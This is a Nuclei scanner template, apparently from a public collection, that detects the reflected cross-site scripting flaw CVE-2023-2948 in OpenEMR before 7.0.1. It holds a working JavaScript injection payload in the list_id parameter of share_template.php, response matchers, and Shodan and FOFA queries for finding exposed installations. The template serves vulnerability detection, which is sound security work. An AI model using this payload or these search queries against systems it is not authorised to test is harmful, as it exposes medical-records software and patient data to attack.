40 lines
1.5 KiB
YAML
40 lines
1.5 KiB
YAML
id: CVE-2023-2948
|
|
|
|
info:
|
|
name: OpenEMR < 7.0.1 - Cross-Site Scripting
|
|
author: ritikchaddha,princechaddha
|
|
severity: medium
|
|
description: |
|
|
Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.1.
|
|
reference:
|
|
- https://huntr.com/bounties/3842486f-38b1-4150-9f78-b81d0ae580c4
|
|
- https://github.com/openemr/openemr/commit/af1ecf78d1342519791bda9d3079e88f7d859015
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-2948
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2023-2948
|
|
cwe-id: CWE-79
|
|
cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
vendor: open-emr
|
|
product: openemr
|
|
fofa-query: app="OpenEMR"
|
|
shodan-query: http.favicon.hash:1971268439
|
|
verified: true
|
|
max-request: 1
|
|
tags: cve,cve2023,xss,openemr,open-emr
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/library/custom_template/share_template.php?list_id=1}});}}alert(document.domain);function%20x(){if(1){a=({a:{a:1"
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code == 200'
|
|
- 'contains(header, "text/html")'
|
|
- 'contains_all(body, "list_id: 1}});}}alert(document.domain);", "select at least one Provider", "Save</span>")'
|
|
condition: and
|
|
# digest: 490a0046304402201f348c1ad965519aec601dea4e3594a4203bb91d9386861d1e29e43cfc7f69de02206a1be3fef962ba9fa56678781c5c622f895d192dac29bdfc696cee29e7e75608:922c64590222798bb761d5b6d8e72950 |